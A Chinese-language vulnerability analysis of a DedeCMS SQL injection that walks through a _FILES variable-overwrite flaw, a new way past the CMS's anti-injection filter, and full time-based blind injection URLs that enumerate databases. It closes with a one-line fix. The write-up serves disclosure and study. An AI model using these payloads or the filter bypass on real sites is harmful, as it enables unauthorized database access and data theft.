0x00 漏洞信息

http://www.wooyun.org/bugs/wooyun-2015-0127787

0x01 漏洞成因概述

由于dedecms使用伪全局变量原因,可导致用户构造任意的sql语句,造成注入。

漏洞利用流程:

  • 利用_FILE传递数组
  • 绕过dedecms的sql注入检测机制
  • 进行注入

0x02 漏洞细节

完整进行注入的语句为:

http://192.168.110.135//dedefull/uploads/member/mtypes.php?
dopost=save&
_FILES[mtypename][name]=.xxxx&
_FILES[mtypename][type]=xxxxx&
_FILES[mtypename][tmp_name][1' and `'`.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 ),1,1)) like 54,5,0)),0)%23fuck]=1&
_FILES[mtypename][size]=.xxxx

需要理解的四点:

  1. 为什么用_FILE传数组
  2. 为什么注入语句写在tmp_name后
  3. 为什么注入语句中有`‘`.``.mtypeid
  4. 如何绕过dede的防注入

变量传递过程

mtypes.php文件是一个缺陷文件,只要通过把$mtypename构造成数组,并且在把数组的key定义为sql注入语句,那么便可逃逸全局GPC。

foreach ($mtypename as $id => $name)
{
    $name = HtmlReplace($name);
    $query = "UPDATE `#@__mtypes` SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'";
    $dsql->ExecuteNoneQuery($query);
}

该文件的最后部分为缺陷部分,$id 和 $name 都在查询语句中,但是全局过滤未对数组的key进行过滤,导致$id内可以带任何字符,接下来就是构造$id的事情了。

由于dedecms是一个伪全局的cms,我们需要把$mtypename覆盖出来,那么为什么用_FILE传输组呢,整个cms在变量初始化的过程中,在uploadsafe.inc.php中,会预处理_FILE传入的值,但是这段代码有问题。

foreach($_FILES as $_key=>$_value)
{
    foreach($keyarr as $k)
    {
        if(!isset($_FILES[$_key][$k]))
        {
            exit('Request Error!');
        }
    }
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

可以在倒数第四行看到一处变量覆盖,取$_key作为key,$_FILES[$_key][‘tmp_name’]作为value。

我们传入的内容

覆盖后的内容

绕过dedecms防sql模块

dedecms防注入模块有个bug,只要在`‘`后面的语句,都不会过防sqli模块。

为什么这么构造?首先,我们看下dedecms防注入模块的执行流程。

在流程图中,最关键的步骤是生产clean sql的部分,其代码如下。

while (TRUE)
    {
        $pos = strpos($db_string, '\'', $pos + 1);
        if ($pos === FALSE)
        {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        while (TRUE)
        {
            $pos1 = strpos($db_string, '\'', $pos + 1);
            $pos2 = strpos($db_string, '\\', $pos + 1);
            if ($pos1 === FALSE)
            {
                break;
            }
            elseif ($pos2 == FALSE || $pos2 > $pos1)
            {
                $pos = $pos1;
                break;
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s$';
        $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

通过阅读以上代码可以发现,这段代码的主要逻辑是把两个单引号(’)中间的内容替换为$s$,其他语句拼接到clean sql中。pos为第一个单引号的位置,pos1为第二的单引号的位置,pos2为第一个消意号的位置,通过这三个位置,便可以确定单引号之间的内容。

通过这个特性,绕过防注入模块的思路大致是这样:先构造一个无意义的单引号,再在注释后面构造一个单引号来闭合前面无意义的单引号。

翻看之前dedecms的注入发现,大致有如下几种绕过技巧。

  • char(@`‘`)
  • char(“‘“)
  • @`‘`

但是最新版本已经对如上方式进行了检测

if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE OR strpos($clean,'$s$$s$')!== FALSE)

因此需要一种新型绕过方式,主要还是利用`‘`特性:

但是有个要求,hitsid必须是testf.v959_hits表的字段,同理,利用此特性,构造查询语句。

构造盲注查询语句:

1' and `'`.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT count(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))like 50,5,0)),0)%23fuck

此语句所查内容为:如果此mysql所含的数据库的个数的第一位为2(ascii码为50),则sleep 5秒。

0x03 漏洞利用

只要登陆了用户中心,便可以进行时间盲注,查询数据库内容。

查mysql所含的数据库的个数

个数的第一位为2

http://192.168.110.135//dedefull/uploads/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][1' and `'`.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT count(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))like 50,5,0)),0)%23fuck]=1&_FILES[mtypename][size]=.xxxx

个数的第二位为3

http://192.168.110.135//dedefull/uploads/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][1' and `'`.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT count(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))like 51,5,0)),0)%23fuck]=1&_FILES[mtypename][size]=.xxxx

0x04 总结

该漏洞利用零散的dedecms的漏洞,对这些小问题加以组合,最终到达随意注射的程度,十分精彩。分析这个漏洞,收获是在漏洞分析时,要有全局的眼光,不要忽视之前出现的每一个问题。

漏洞小结

影响范围个人评价为“高”,危害性个人评价为“高”,dedecms在国内的使用范围非常广,此漏洞只要登录会员中心便可取数据。

防护方案

对数组传入的key和value均进行gpc过滤。